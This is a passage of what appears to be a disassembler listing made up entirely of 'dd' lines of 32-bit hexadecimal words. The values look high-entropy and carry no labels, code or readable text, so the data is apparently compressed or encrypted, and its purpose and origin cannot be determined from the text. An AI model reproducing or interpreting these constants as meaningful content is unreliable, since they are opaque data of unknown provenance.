		dd 4F9AD8CDh, 0DC273E32h, 503E2C9Dh, 7F78FDB3h,	2F6A0076h
		dd 80571FBAh, 5F5250F5h, 355425Bh, 7A6260BAh, 0EAA2226Fh
		dd 0B2F2F7A0h, 0B896AF64h, 8ECB8A44h, 0C114C88Ah, 6C8D0F07h
		dd 19582C1h, 622B071Dh,	2045083Dh, 29850107h, 0F50AEBAh
		dd 2924A483h, 9B10D99h,	47E72C41h, 0E9601A64h, 5809B12Ah
		dd 5739A23Fh, 9B6F6E48h, 0CA1D9705h, 89084BAFh,	38F8AC6Ch
		dd 8133145h, 1740094Ch,	8AC19250h, 64D4476Eh, 2B5B6016h
		dd 0BC86ACA7h, 0AD13DC29h, 0E945DD9Bh, 9D0D4F7Ah, 0E4399ADEh
		dd 8A0EB4BCh, 0F9F8B70Fh, 22E8F158h, 7B96A15Ah,	0F0B95011h
		dd 5C56C67Eh, 0EA306186h, 6D497C9Ch, 6415FB43h,	45E2A00Dh
		dd 0B335840Fh, 0F9565284h, 26EF5FC9h, 42180576h, 0B512F872h
		dd 50798B5Ch, 4E004464h, 0D8878A62h, 64A174h, 81CC28F3h
		dd 0E171D4D7h, 74592F31h, 8C06F976h, 508107E4h,	62811438h
		dd 785EBA8Ch, 0A315272Ah, 0A7E5957Fh, 916F9D69h, 9D978019h
		dd 290C2D9Bh, 6F9660BDh, 0C7D04C30h, 63201B34h,	2AFF75E0h
		dd 90C761AFh, 0C0852E7Eh, 22021CFCh, 4C28D34Ah,	4130A811h
		dd 15218827h, 259D0980h, 291C1EA1h, 9D1E1B50h, 7DF6F555h
		dd 5384C425h, 0B146F230h, 0B4F8522Ah, 12B10F75h, 7F2D710Ch
		dd 53E2AAE2h, 7D1A70EBh, 7CF4740Fh, 29BC96Eh, 21D9DE6h
		dd 4DF9800Fh, 0C94C3811h, 3322A927h, 0A64AFA85h, 0B9709673h
		dd 150D00EEh, 0CF8185B5h, 0F22874F5h, 0E70F8075h, 52501782h
		dd 5EB96D60h, 5ED2611h,	60CA8036h, 2FE98533h, 0A508A691h
		dd 0C461142Ch, 154884A1h, 1C31916Fh, 3F9988Ch, 15B62E29h
		dd 750991D5h, 0F9A57103h, 87934F25h, 8297B2F9h,	123C513h
		dd 0B226E95Fh, 2B815819h, 16115A1Dh, 68432880h,	0A7B3D18Bh
		dd 2D06BD0h, 3ACEE1D7h,	0F766820Fh, 0B11F8622h,	0F7EB80EEh
		dd 9772F3C6h, 7366A1Dh,	775D83DEh, 91416C1h, 322A32D1h
		dd 0F3F95970h, 1E05294h, 31505FD3h, 813299BDh, 2B092576h
		dd 40982D4Eh, 38600E44h, 1CEBD29h, 0D5952391h, 0C4FA482Ah
		dd 6EED1048h, 8B47824Ch, 26A45EC0h, 0D01FA7B1h,	0FEFDD311h
		dd 6055A417h, 81DBC9D4h, 3FE0D0Dh, 584E8809h, 0D6C01888h
		dd 48A78F6Ah, 3510DCDBh, 0BD81100Bh, 65726F81h,	0B18E2061h
		dd 0C440A586h, 0F6E8601Bh, 42AA1C63h, 309712DBh, 0A3D57989h
		dd 402EA801h, 5AB9BE48h, 5031EA26h, 0DF9AF0Eh, 0A106622Ah
		dd 0C425D572h, 203660Ch, 184F6844h, 2B3C96A3h, 132CD88Bh
		dd 9A6167D3h, 1E38694Ah, 0FE930874h, 8165EB19h,	10C15B4Ah
		dd 3539B529h, 0D6BF384Dh, 0E4D62609h, 4087BEC2h, 4CC4CEE3h
		dd 0C9A72D00h, 0ACDBAE84h, 98CD0451h, 0F0E80A02h, 69E80FD8h
		dd 8B6635C2h, 0E9DF79FBh, 1A111197h, 8B1B0980h,	33249578h
		dd 5D0ACE5Ch, 2E45B108h, 22954A88h, 67701CD9h, 58B0B384h
		dd 560287C5h, 0F6BDB966h, 91E26559h, 0C7810230h, 69D734ECh
		dd 8FA459A0h, 6004115Eh, 0E9BB1248h, 0EFC59C1Ch, 62928820h
		dd 0D4009D66h, 0E15EED33h, 5994C217h, 3B223CD7h, 6E14249Eh
		dd 13447731h, 4B99E9h, 0C9C318E6h, 0CD00FCE8h, 7DD83695h
		dd 2EDE45BAh, 5B0BD78Bh, 0BA6641B4h, 9725E4Ah, 2F5B76D0h
		dd 1923E1h, 0DCD85F3Ah,	0E935DB89h, 0C0F1FBCCh,	0CDBFC241h
		dd 0FE2C97F8h, 5E9AAA85h, 481E10EEh, 98F9263Dh,	0F2D4477Eh
		dd 56AC17D4h, 407BD08h,	0A1F5B509h, 6D86A72Dh, 9B4EC00Bh
		dd 0AC09F4A4h, 129F058h, 3F68D1A6h, 0BF00C647h,	770BE650h
		dd 7268ED73h, 0D1F5374Ah, 60165BDh, 78E49B1Ch, 54C8825h
		dd 6B214E11h, 253A0C8Dh, 1BA7B352h, 0B2F72B99h,	0EA82CA89h
		dd 0AFD15167h, 13ABD7A8h, 0ACE92F2h, 0DE4F3A20h, 73450361h
		dd 99303BE5h, 2920BE5Ah, 767C9Ch, 0B63A1259h, 19A2DFE6h
		dd 0F2378D1Dh, 317A2E42h, 0BB60005Fh, 5312F0C0h, 0F8A1F82Dh
		dd 52857E20h, 8A1A8D0Eh, 0D7C008D3h, 3B9D0D45h,	4AB27533h
		dd 0D9FE882Ch, 0B4012444h, 0C548408Bh, 33011D16h, 5BFDE144h
		dd 84DCDD64h, 80240978h, 68028789h, 5F053005h, 0B960CCh
		dd 0A558E777h, 5E098BEAh, 0C438E50Fh, 0A6E0086h, 0C9FEF9ECh
		dd 659D01D4h, 4C801811h, 586D344Dh, 6C14BA06h, 954E5427h
		dd 5909B8B7h, 3E1480E5h, 48FF68C4h, 81074A01h, 74963BC1h
		dd 4195CB08h, 99B40148h, 404F082Eh, 0F2B650F8h,	59FD043Fh
		dd 47A22CE9h, 0F8F82510h, 4F078C1Bh, 4E307AF7h,	41EF8EE2h
		dd 7197CF99h, 0EC6B10E2h, 67C99D1Fh, 58F287A4h,	0C40785AEh
		dd 53DE9519h, 0DEE28BE6h, 91954D60h, 59700497h,	0BF229089h
		dd 80E69B4Eh, 0B0F3ECC4h, 875D0B13h, 0E5010D25h, 4C7CE9D7h
		dd 1848C5BBh, 67F68BBCh, 6017C44Ah, 2C4296C2h, 4E60E88Fh
		dd 4EF65D80h, 2500D152h, 70779CD7h, 2850452Ch, 74ED68FEh
		dd 0B6CF76EBh, 984120AFh, 62979660h, 32091241h,	799A052Fh
		dd 4110F8A2h, 1D18622Ch, 5C356C17h, 0D0C33F03h,	0FC13106Ah
		dd 878B31D5h, 18228415h, 0CF49CF24h, 84488CE9h,	69FD0B51h
		dd 0E95F0A7Ah, 0EABF5A21h, 98C95619h, 0E1B7EEh,	7E383F2Eh
		dd 0E7D0DBB2h, 2BEF9B02h, 403D4E3Bh, 0F1FD8D3Fh, 1782400Ah
		dd 0E7F18Ah, 6C7A8B4Dh,	35000F7Fh, 4CD059Bh, 0A781AB0h
		dd 0A2E360EAh, 2B2C2D93h, 15569DA2h, 2C092193h,	0E4C31C5Dh
		dd 45243BE8h, 6021CF0Fh
		dd 7C6BBC48h, 0B9438055h, 3EAAA102h, 0D4001108h, 2B693B5Ch
		dd 9A9DB58Dh, 70AF81D8h, 74FEC6A3h, 0FECB95C9h,	72046E97h
		dd 0CCC97F02h, 2F13752h, 0A40805E5h, 881B3D08h,	528EE295h
		dd 0FCA1EA29h, 0AAE25996h, 0A780A200h, 680A8222h, 0C09E5474h
		dd 925F56E2h, 893A8E5Ah, 0D70F92Ch, 686EA6A8h, 8C19FC83h
		dd 2A7BDF02h, 84C428DBh, 0FC4C0142h, 424FB554h,	99335EC9h
		dd 11E32501h, 0C8A10C71h, 0C21293F1h, 2B4A036Ah, 0CC264A1Dh
		dd 81B610Ah, 0C9950102h, 7FF20909h, 0B926C066h,	6EF8C4CBh
		dd 8879CFF8h, 0CA6DC11Ch, 0DFC0FA9Fh, 0EB4EC7E4h, 4E8A73CCh
		dd 6061C8F0h, 0BDB0464h, 54A0B44Fh, 21085A9Bh, 79526609h
		dd 1B85183Bh, 228F003Fh, 14ADA95Ah, 6E1CA19Eh, 7A802917h
		dd 0FF87DD50h, 2DC1085h, 0A2894A22h, 0C070521h,	140586F9h
		dd 0DF8102DDh, 1851692Ch, 5FFD5C60h, 0EF304724h, 5AF59F07h
		dd 4F18001h, 4F0D3E20h,	8B698802h, 0F228FB62h, 81170CEFh
		dd 88E5C91Fh, 6430C0D7h, 921CC5h, 409E25CEh, 0F3D9D7D8h
		dd 75968F00h, 82598655h, 7C7994CFh, 0D8F2D847h,	1730A617h
		dd 0E4A9C8C8h, 41353D05h, 4BE8213Eh, 288C15ECh,	3FA261ABh
		dd 25CAB5F8h, 880F1377h, 21EE23B8h, 88FD2D41h, 0F05D19B8h
		dd 8028563Dh, 4BF2EA3Ch, 0BF28918Dh, 0D96728F8h, 0DBAD9E6h
		dd 0D127EC9h, 0DB4F9D1Dh, 0A16AB5E2h, 20B278C6h, 2B1CFE2Ch
		dd 80102859h, 9D8C03D6h, 0B1B7084h, 22664BE9h, 60620CB4h
		dd 18F970h, 0A873B966h,	0D18B6116h, 803166h, 50B12AF1h
		dd 1B45BD29h, 0B04921B1h, 2E9D0104h, 50022AFDh,	0D094870Fh
		dd 7BACC967h, 0B2DA0181h, 0E585C72Eh, 0C3616E20h, 0AB630195h
		dd 0AB914F69h, 770AFA5Dh, 0B0E0F860h, 3D6100E6h, 0B72A3F10h
		dd 3603AB86h, 0B9886966h, 20E0B6C9h, 0C782FAD4h, 505407C4h
		dd 480E6825h, 3428156h,	0F8017634h, 3140DABAh, 8309C44h
		dd 0EC6F28CCh, 0CD4C8C17h, 0FC104C1h, 0BA40058Dh, 5D9BCF0Bh
		dd 0D79406B3h, 53EE22B1h, 8D0B0FF5h, 5B941571h,	40AE604Bh
		dd 3567A1Ch, 72F82E1h, 2F0CD652h, 0B15A5C80h, 38916144h
		dd 342CFC92h, 31B18A0Dh, 8B0B41E9h, 811922CAh, 504D49D1h
		dd 99FE056h, 2099B529h,	80171F14h, 2675ACC9h, 24721AB1h
		dd 0A343B6D7h, 0A118F150h, 6F2E9B4Dh, 0BACE01A6h, 71DBE6D4h
		dd 6AC5B0BAh, 0F961031Ah, 85294365h, 0D1941792h, 0E99BB507h
		dd 92BFF7C3h, 400049B2h, 5B72EFECh, 1A9D96A3h, 0E16AD001h
		dd 2D592541h, 0E9A80A05h, 858B83ADh, 3BE50DB9h,	11B2398h
		dd 617AFED2h, 0C67E8589h, 54C88A0Fh, 0E94D09B5h, 0BC380618h
		dd 850E454Bh, 0C080D6B8h, 937DF387h, 0DCC5134Eh, 820C9464h
		dd 0BC44F470h, 0C009BD3Ah, 0B4670BB9h, 1E597896h, 0E06F3EACh
		dd 0B3A777F9h, 225D0B24h, 851384D0h, 5BBBD7ECh,	1866E812h
		dd 0E8DA520Fh, 581929D7h, 0BDC82D89h, 8290F846h, 1616F120h
		dd 0B4E8F38Bh, 5900EC89h, 12B395F8h, 2A5FFCh, 429AED57h
		dd 0E781756Bh, 58544005h, 5B245A69h, 4AC95AC3h,	67B6E9Eh
		dd 7EA38339h, 0ABD903Eh, 2EAD1F14h, 0A5B2425Bh,	0E58080C1h
		dd 0F2DE6383h, 0D9903FD9h, 412089BDh, 4FEB7115h, 1A139184h
		dd 27D192h, 0E161A257h,	0F4004F30h, 8B3FB7A9h, 98E3230Ch
		dd 518D2D25h, 0A9D87925h, 0F01B8F1h, 0C4C6BE9Fh, 0FE6109A0h
		dd 10EBE90Fh, 105D6A7h,	8ACC01DAh, 94538541h, 1C3CF9DCh
		dd 1DBA8903h, 6765043h,	0E108B520h, 25B9210h, 0B509FA03h
		dd 51F98292h, 0C5181C79h, 0FE0F6200h, 0C2D223ADh, 208E9841h
		dd 60171ED5h, 4940D48Ah, 0DBFFC3BFh, 2A18B73Eh,	0A5B48E0Fh
		dd 95C6D04Eh, 10BD791h,	201AF985h, 79C28181h, 33E109C4h
		dd 31D9606Ah, 3D978320h, 6BEC2FC0h, 0F1BA6605h,	8C6F5093h
		dd 0E5B9007Eh, 3B2F11D9h, 8915A832h, 4651B1B5h,	0ECF4B353h
		dd 9DA69FC0h, 92FC5E94h, 56FB16E5h, 0DA6EBA80h,	1CB5B91Ch
		dd 9CFA1377h, 65CB40CFh, 68D9AE12h, 0B4868E1h, 71EE8A53h
		dd 7440A617h, 0B9001B46h, 48E18992h, 0A7488D09h, 2D407806h
		dd 36CA3A81h, 0B36AAD17h, 0FE45507Ah, 0BA0123B3h, 7C267F6Fh
		dd 0C8482266h, 0A3F84D24h, 25773EF7h, 556813DDh, 19C40B4Dh
		dd 29BC1840h, 4025A17h,	641239DFh, 6AB8E3E9h, 0EC7F131Eh
		dd 44034BC0h, 0B9CB8B31h, 5338644Bh, 0A3F98B0Ch, 178C693Dh
		dd 1E93A02h, 0B3D5B503h, 571B062Fh, 4DBD9533h, 22705F58h
		dd 806BB112h, 0B46D18A0h, 2800A29Ch, 8F034445h,	543D5926h
		dd 88B73296h, 8925B966h, 59E09A82h, 75C90032h, 6E20D09Eh
		dd 5CE8A072h, 0D483474Ah, 0A4D48C95h, 312CEAA3h, 9DE42DE4h
		dd 0E4DCAEB6h, 0BA7F4C9Bh, 93129510h, 0C611193Fh, 42C6F80Bh
		dd 8B60E00Bh, 9766B8D9h, 0B6F8F1A9h, 4A79155Dh,	1823F93Bh
		dd 7671FB07h, 79F963F2h, 0F953A905h, 0D02A1917h, 0AD9D29A5h
		dd 0F1446EEFh, 82992A55h, 40A53160h, 534AE902h,	78BFC3A4h
		dd 0CF5F5BD6h, 0C1168804h, 90A2100Ah, 382201D2h, 4D8D2916h
		dd 0FF4192B4h, 23013B3Ah, 23860019h, 0D630F9Dh,	15DCCC4h
		dd 3C29E7A5h, 0F260E907h, 5C641AFFh, 39001746h,	6026A3ABh
		dd 5B04DF80h, 0E861F48Ah, 616F89A5h, 2F5AF86Ch,	1D117144h
		dd 0F9DD236Bh, 2DD40BDDh, 98C16E8h, 333EFD42h, 0AC2078Bh
		dd 62822435h, 7660476Ch, 0E6816011h, 0E82FD388h, 60574268h
		dd 801055FFh, 24833E9h,	82FA8C50h, 2574E1DCh, 8B13FD84h
		dd 0D45DFCF6h, 0F8CD4B33h, 16B96E8Ch, 17C37551h, 149EE180h
		dd 92FEE450h, 0BEF04756h, 0C81706E0h, 5FF24FC7h, 0C2240202h
		dd 0FC40DDD3h, 0ED01122Ah, 72E55827h, 787D4049h, 16002FB8h
		dd 253DD487h, 0B764FBCBh, 11023E84h, 45F49880h,	346A8011h
		dd 2BD9E8CBh, 836E7894h, 848A4F15h, 0DE915405h,	20AE0728h
		dd 0C2950162h, 5823575Ah, 954BFC85h, 45602CCh, 0A8B85268h
		dd 5C6A789Ch, 10204304h, 81DF64EEh, 347BE71h, 4328B2Bh
		dd 0EC18AC9Bh, 0F05D3479h, 4F481EA4h, 2F261E2Ah, 0A8036DEFh
		dd 7D436095h, 56286A53h, 0C08518C2h, 41759875h,	64980B68h
		dd 2DDBDB87h, 687060E5h, 72A4684Ch, 208056E7h, 479D8B82h
		dd 45BC42Fh, 0AB4CFDA0h, 15638554h, 9FE5FDC7h, 500C43D8h
		dd 2E850702h, 52871B29h, 0C47020Dh, 8BA4B52Eh, 671411A2h
		dd 97684502h, 292A5F7h,	0CD1C2C51h, 580C0267h, 32537528h
		dd 0A1B46D60h, 0C914E1Ah, 343A5A97h, 81805859h,	0C0397AC9h
		dd 48CFEC52h, 4930016Fh, 22386DB8h, 805CB7B7h, 5174C8EDh
		dd 0E709D5C5h, 0A2975B86h, 0DC8D015Eh, 1F89A5D0h, 6414C85Ah
		dd 37B35FFh, 66C4E981h,	891A1075h, 16EB9425h, 30212AF5h
		dd 0C1520F1h, 50277DD8h, 35B1095h, 0DBE4B0h, 1C626023h
		dd 0EBC065E1h, 29BD891Fh, 5A5F35E0h, 9405F84Eh,	435634F3h
		dd 0CEE087A6h, 731D9193h, 0A145DE71h, 800460C9h, 30B0A41h
		dd 610E1059h, 7660E980h, 571764E8h, 0EFE93BCCh,	910A217Eh
		dd 0A4040408h, 33012B6Dh, 22800FDBh, 85310F71h,	0C01DB8EDh
		dd 0E68A3160h, 8019F532h, 3F0F407Dh, 5B640B07h,	0BE7C568Fh
		dd 6EBE6EC4h, 0E93100B5h, 1A7075E3h, 0D4453CB8h, 387BC952h
		dd 1800B63Ch, 0D129D9CDh, 700E4A52h, 369DBF66h,	544BB88h
		dd 167CDE6h, 0FBFD81D7h, 0EF442FFh, 68820B24h, 0F3E90216h
		dd 0C49B9B5Dh, 0B64AFAFCh
		dd 0A4E5F24Eh, 660E1CBDh, 4C20D3EFh, 81C70C24h,	0FF2FA466h
		dd 65837A03h, 50415B8h,	98BC3B6h, 1F0E0C92h, 815D0411h
		dd 0B1918FEDh, 1B45838Bh, 393D8706h, 34894318h,	3DB94F5Dh
		dd 419D16B8h, 64061E57h, 37D85E3h, 89881995h, 25B524F8h
		dd 9554E9C4h, 0DB59E140h, 0C53F00B1h, 9CE7BBF3h, 7A1D3667h
		dd 1D87D981h, 38291659h, 209529D7h, 0B95B0F45h,	4B81D40h
		dd 4855D7h, 0F7816405h,	0D465BB0Dh, 0BA868503h,	8734B640h
		dd 5FE8EAD1h, 0C1ED0C9Dh, 4D5868FBh, 28912A56h,	5A192A61h
		dd 3A2B4E60h, 39031D23h, 0F74B1FCBh, 9AC61C50h,	0F8BA006Dh
		dd 604E3A64h, 0A90C0B2h, 8161DF00h, 0B1D549C7h,	0A829431h
		dd 0A8ACA595h, 0D682256Ah, 3D08861Fh, 13954204h, 85B00B10h
		dd 0AC7120C8h, 4ABA30C6h, 4667F413h, 70DC8B89h,	0B5D239BCh
		dd 0EFE79402h, 8FDE5E47h, 29FF00DCh, 0A638574Fh, 3D2D9D31h
		dd 3A329106h, 90ADDC56h, 382E1C56h, 1567835h, 637845E0h
		dd 74706500h, 206E6F69h, 0EC66E649h, 616D2872h,	3C13980Ch
		dd 73B9656Ch, 8202C9Bh,	74A964E3h, 36CEF768h, 77E66C71h
		dd 677E697Eh, 647F637Ah, 0BE28736Fh, 4061E57Eh,	0FE7864ADh
		dd 6D2ACE2Eh, 68542083h, 3D6B163Bh, 9B75BF79h, 0FD040D0Ah
		dd 70280131h, 62734698h, 521D5443h, 0EC7F2B4Ch,	0D9699ED1h
		dd 0B664971Eh, 2AA18FA0h, 3C087970h, 62BF696Ch,	64726185h
		dd 42361029h, 5465561Fh, 0DF9F9973h, 7225DE3Dh,	8780431Eh
		dd 4E496B63h, 1C640FA9h, 5455234Fh, 6F725087h, 0F211DFAh
		dd 0F193B6Dh, 7469E601h, 0C80F3DA1h, 50CA5B1Eh,	1D188E8Dh
		dd 8F812B1Eh, 0C1141BA1h, 4012D2Ah, 0AAC39181h,	0DAA8276Bh
		dd 25681907h, 0D3A57080h, 182419D8h, 1922513Ah,	13078BD6h
		dd 411628E0h, 0D6D2B024h, 0ACD25265h, 882542C0h, 1A537126h
		dd 0A07132C8h, 0C4A1DD1Ah, 36216BBEh, 216BA7C4h, 6BAFC42Ah
		dd 0B6C42E21h, 100C462Ah, 0E9122DF5h, 84C9E8A2h, 3A540A09h
		dd 210D952Ah, 442F0EF5h, 9742B0F3h, 0C2810C68h,	7B1CF827h
		dd 958D0B14h, 52300CC4h, 0C3402834h, 463B58D4h,	97021512h
		dd 0C8D06E98h, 9D8B8A55h, 4CC38B13h, 659A9BE2h,	8501131h
		dd 54908726h, 58793288h, 90873608h, 0A92A885Ch,	0DAA4FDCh
		dd 1468D1AFh, 995ACD14h, 2A0C2E0Ch, 21364386h, 0DE269032h
		dd 1C0AA1A2h, 54291C26h, 3650507h, 0B0C2BC1Fh, 0CA406A24h
		dd 5A193E24h, 25BC4873h, 8BDD9801h, 18EB2CC1h, 0F298D48Eh
		dd 94600240h, 71CA384Dh, 3DDB4Ch, 0C904C261h, 7041E634h
		dd 8149060h, 8C56F621h,	0C324C34Fh, 2106F8E9h, 3E13B58Bh
		dd 0E681388Eh, 8C18F035h, 37B9E855h, 0E8C68109h, 61B53BA9h
		dd 860F3917h, 1E51BBE9h, 737ED820h, 506FCF60h, 9C88C66h
		dd 0C00A0324h, 3F2A1B08h, 7D21AF5Bh, 4D22858Bh,	0A188604h
		dd 163F84DBh, 7BA71C67h, 0C6240419h, 0FD5013CFh, 700891C2h
		dd 0EC2D41C6h, 4C7C010Fh, 9E3FE5Ch, 68531CC0h, 0F6896617h
		dd 209C5FCh, 953725Bh, 820E4CBAh, 0E0424314h, 5361BB22h
		dd 0E380CBEFh, 0CDDB4A97h, 0CE760BD9h, 0DB6DC9C7h, 0E6449B0Ah
		dd 0C59198A2h, 0C7065789h, 0F2528E18h, 32234320h, 995BBD01h
		dd 6010A3A2h, 0EA923E80h, 1BB3144h, 763AB7A1h, 0CAB101B0h
		dd 0AC407C5Eh, 3902C88Ah, 0D10332C3h, 0D20BAACBh, 19014022h
		dd 0D6C90A4Ah, 0F02316E5h, 1011D4DDh, 0D48B5207h, 87A3057h
		dd 0E950C033h, 8038AA21h, 158D563Fh, 0DBC5A5Fh,	32565153h
		dd 236BDBC9h, 0D8D0AC09h, 8103D3D1h, 465ABCC3h,	0F4B07937h
		dd 970B6449h, 0C38B40E8h, 0E85B595Eh, 957BA660h, 95AC7C11h
		dd 0A2772AEAh, 72E704C0h, 0F811ADFh, 9404A8D8h,	0C4D4293Ch
		dd 35FE3DB8h, 8F606063h, 21D2BC85h, 6B4640Ah, 0D22BD1Fh
		dd 23E93889h, 65632A3Fh, 1705F040h, 9B4614F3h, 14902189h
		dd 46F53CCFh, 1FD11E65h, 43AE2430h, 694587E9h, 727620DFh
		dd 7A014D90h, 0CAB2B80Ch, 333CA945h, 30060E9Ch,	46C8D140h
		dd 0F14F73Bh, 908DF182h, 280829EAh, 284C297Bh, 51567028h
		dd 40135348h, 0C494A2Ch, 2D3C8567h, 800AC908h, 13349804h
		dd 0C112D832h, 1C1508C3h, 0A1CD467h, 375E595Bh,	44219820h
		dd 0E2211240h, 0C6C2A2Ch, 100FAD21h, 1125C494h,	8173A813h
		dd 0C075B326h, 0F78D6880h, 0A71312A8h, 0E4B71F25h, 6C3900E0h
		dd 0DD7B0844h, 5F0E3270h, 52C08158h, 66F6A0h, 0B944EDBEh
		dd 53D24D31h, 0CAD689FFh, 3E5092Dh, 0D85230FBh,	131831E2h
		dd 45A6649h, 81F78B8Ah,	0FD39F6A3h, 0B5883A2Dh,	3004074Dh
		dd 11543A68h, 0E8144A5Eh, 981DCAECh, 5A00E7C9h,	8ED5EB81h
		dd 66423BE6h, 217AD68Dh, 6C52FC16h, 53FC2C0Eh, 0E1F50F8Fh
		dd 112A38E8h, 8B059960h, 0F677F2C0h, 9AE2804Fh,	3DE28A00h
		dd 6B811153h, 0EE056200h, 3EB987E1h, 0BF8202E9h, 5F65E7FAh
		dd 55348286h, 40BA661Ch, 22E24914h, 3EBE2884h, 96F00ABh
		dd 9B41B429h, 0CC07DF4Bh, 91D21269h, 0E0D1AB13h, 129C7A9h
		dd 16310105h, 9828AD66h, 0E721C209h, 0FB050021h, 49067447h
		dd 1B00848Ch, 4893652Ch, 0FD1ADC8h, 8F2AB2B6h, 0D7C6003Eh
		dd 21C11D41h, 68349500h, 0A7AD508Ah, 2ECA03D1h,	0AF60E10Dh
		dd 58E66FE8h, 40D7C900h, 0C52A037Ch, 0F0F92066h, 5945A71Dh
		dd 2089FACAh, 8C55D570h, 7738A87Bh, 0E87232E1h,	52B3093h
		dd 26310311h, 33A4BD88h, 0BB2D0500h, 7569CDA2h,	0C0477CA1h
		dd 0EDAC6E78h, 0F8C40491h, 504D62C3h, 28418030h, 129BCCABh
		dd 432A1BD6h, 92A818AAh, 0C90063B4h, 35175BF4h,	18423C87h
		dd 38D58FF9h, 9938F1A7h, 865B036Ch, 3052ABCDh, 1121EE09h
		dd 87006C92h, 9D67AE5Dh, 6E01E90h, 2B516DF2h, 0B61881B0h
		dd 98B14458h, 0C90E1407h, 0E00F9C09h, 28B8FBC6h, 0D86034B8h
		dd 4D085259h, 800F39BAh, 6DA53304h, 88108EA8h, 6FB7C0C4h
		dd 6004831h, 3D57A404h,	0EDF5EB8h, 47F3EC5Dh, 79DB2CE6h
		dd 0ACC4E01Bh, 7E29C0A8h, 919218B0h, 0CD6751B2h, 8D165D00h
		dd 9808A447h, 1F9BF2C8h, 945E5B06h, 0C0BCEC11h,	92961F8Ch
		dd 0E35E44D5h, 9A1480C9h, 0DE664136h, 4658A989h, 52E0296h
		dd 313E3106h, 26EC10BEh, 615E0705h, 0E10FBF4Eh,	22912B44h
		dd 53AC0008h, 560DE405h, 0EC1D01CFh, 441B58A1h,	5FFCE0D2h
		dd 0B89A3605h, 8C47E932h, 4854BAh, 58F68EDDh, 0FBB0D71Eh
		dd 8191FD00h, 0A0944B10h, 0A2C7D79h, 0CECB3606h, 0BC280160h
		dd 0F4E252ECh, 0B7006DCDh, 0A0623288h, 3DD8D7Bh, 0A92CD374h
		dd 7100E28Fh, 5FCAA480h, 0AF8784h, 69F8CE42h, 0F37ED4FAh
		dd 195D5800h, 0CB82903h, 1548040Bh, 41AD38A6h, 0FA423BA7h
		dd 9A026426h, 8E5B016Ch, 1210EA31h, 82756C93h, 0A407C873h
		dd 2FCBFC1Eh, 0B192BEB1h, 0ADD41910h, 0A71F9000h, 556A0F13h
		dd 60F206h, 0E8E6F643h,	2BB801DCh, 4442BA28h, 9E02FE46h
		dd 0AE5B056Ch, 1610E931h, 0A5026C97h, 15D4D6B8h, 0F444BAh
		dd 0FA9D01D8h, 49620FAFh, 907CD00h, 0B866CFCBh,	90617D42h
		dd 2944614h, 3104052Ch,	10BC312Eh, 50524EAh, 0C4E19102h
		dd 0A2D840AAh, 0AEDDF66h, 0CD35E0E6h, 241F19ADh, 0A96111BAh
		dd 1852070Fh, 2A530EE0h, 327CF0AAh, 44129029h, 0CE18BB59h
		dd 992FF701h, 51F60434h, 0A98A2BD0h, 0E9F8E0A4h, 0ACF1FA8h
		dd 19821832h, 617CC554h
		dd 6AB48C6h, 906C61CEh,	33129723h, 30E9A268h, 1607B224h
		dd 0CAE18EBDh, 348280FAh, 6095339Fh, 0B09BA01Fh, 0FC380020h
		dd 0FF5524B0h, 0F050AE6Ah, 0DB2C1CD8h, 5BE418C4h, 61025C01h
		dd 309182B6h, 0C0BCD757h, 46CE4Ch, 0AF6381B3h, 19DA5A6h
		dd 0C85C2B59h, 0E22021BFh, 90307E54h, 5BD9C0E6h, 540A3FE4h
		dd 88070C00h, 527A13B8h, 1CEB036Ah, 0D294C7B1h,	0EE0490B7h
		dd 640A4D6Bh, 0B458B702h, 0D001D196h, 0B12D9433h, 0C0428E2h
		dd 31294D90h, 0A8B89407h, 2F0661Dh, 0CCD0455h, 0B7375732h
		dd 0C00F2EA9h, 80AF646Bh, 0A831CCDAh, 0DCC083E1h, 0F20F34A7h
		dd 0D36CBCDh, 0E0302817h, 46DB4503h, 70CE31B0h,	67A683ACh
		dd 5120FE87h, 9880E1A2h, 0B45B0EA8h, 0A00769A5h, 44310F52h
		dd 0D674FB10h, 2D32009Bh, 0ADCB8758h, 332CF75Ch, 6A0008EDh
		dd 32A7E276h, 0CCD4141Ah, 0D30445Eh, 0C75D0951h, 6C312F60h
		dd 602B6735h, 3ECA80CDh, 0FCA1D3BDh, 0C093F030h, 2E4018C1h
		dd 6D01E8F9h, 0C9F557h,	2801194h, 0A7A5F31Ah, 94281B87h
		dd 10AF509h, 0CBA2A6ECh, 0BAEEEDE0h, 2D571030h,	3B3C58E6h
		dd 529240A1h, 446CCF2h,	34862AE1h, 795192A4h, 4A0FF0B8h
		dd 0BA948A50h, 0A4DF3C04h, 7784AAD1h, 98928000h, 19A83F08h
		dd 298C6B10h, 44DE0828h, 0B78B84F2h, 612635E0h,	455526BEh
		dd 0C0711DF7h, 7C8C879Ch, 0AC7768B7h, 2ABF4F01h, 4A9DEB67h
		dd 6BE05E21h, 5DDF428h,	0FA470988h, 331B80A0h, 0C11F5A9Dh
		dd 1B80FFC6h, 0EE520F06h, 0BE9016h, 67995EB2h, 0F42B8E24h
		dd 91012CF0h, 9649C85Bh, 15C08C61h, 9CF20048h, 9DF8D155h
		dd 242A19D6h, 0DA008CFCh, 0A5492D9Ah, 4CE8A061h, 4600101Eh
		dd 0CF7C8E42h, 9E792A74h, 82C6DF00h, 0CE37B9A9h, 72B2003Bh
		dd 713A342Ch, 0A62AAC24h, 9F00B478h, 0F5C1EE25h, 760BFD2Dh
		dd 379E00DDh, 2B9CC2FFh, 7A3CCEC7h, 0F3EA81F1h,	3FBD8CA4h
		dd 0EC3E5AECh, 90C50079h, 0BE37150Bh, 230F2BB5h, 6E403854h
		dd 0F8401D09h, 0B7BDB898h, 0C5240CA7h, 0ABC11889h, 0BBFBF500h
		dd 0E11178D9h, 18DD79h,	7FEC6BFCh, 460057B1h, 0D682930Ah
		dd 0F6005E4h, 0E36F2666h, 0F64E4440h, 0BD00E82Ah, 0D6E69A13h
		dd 5D426Dh, 11F49E4Bh, 3B7F477Bh, 0C65B1000h, 0DBD53D4Dh
		dd 0B77BC8h, 55E2EBF3h,	30DEF0CBh, 302A8330h, 15D216h
		dd 0A0C0199Bh, 0E8356797h, 7ADF541Eh, 8F779900h, 0EA11CE02h
		dd 627C009Dh, 0E982B68h, 0B90066AFh, 4D9B810Ah,	21D5A9Eh
		dd 3E8BAA8Ah, 8400C40h,	6A00CEA5h, 12FEB321h, 604DEh, 39984E34h
		dd 0C3DC8CFDh, 6A1FE701h, 0C9A2E6F0h, 0D25C2180h, 0AD250A1Dh
		dd 7500E773h, 0C7A81BD0h, 0BDA7CCh, 82CB46AEh, 8AB55DC1h
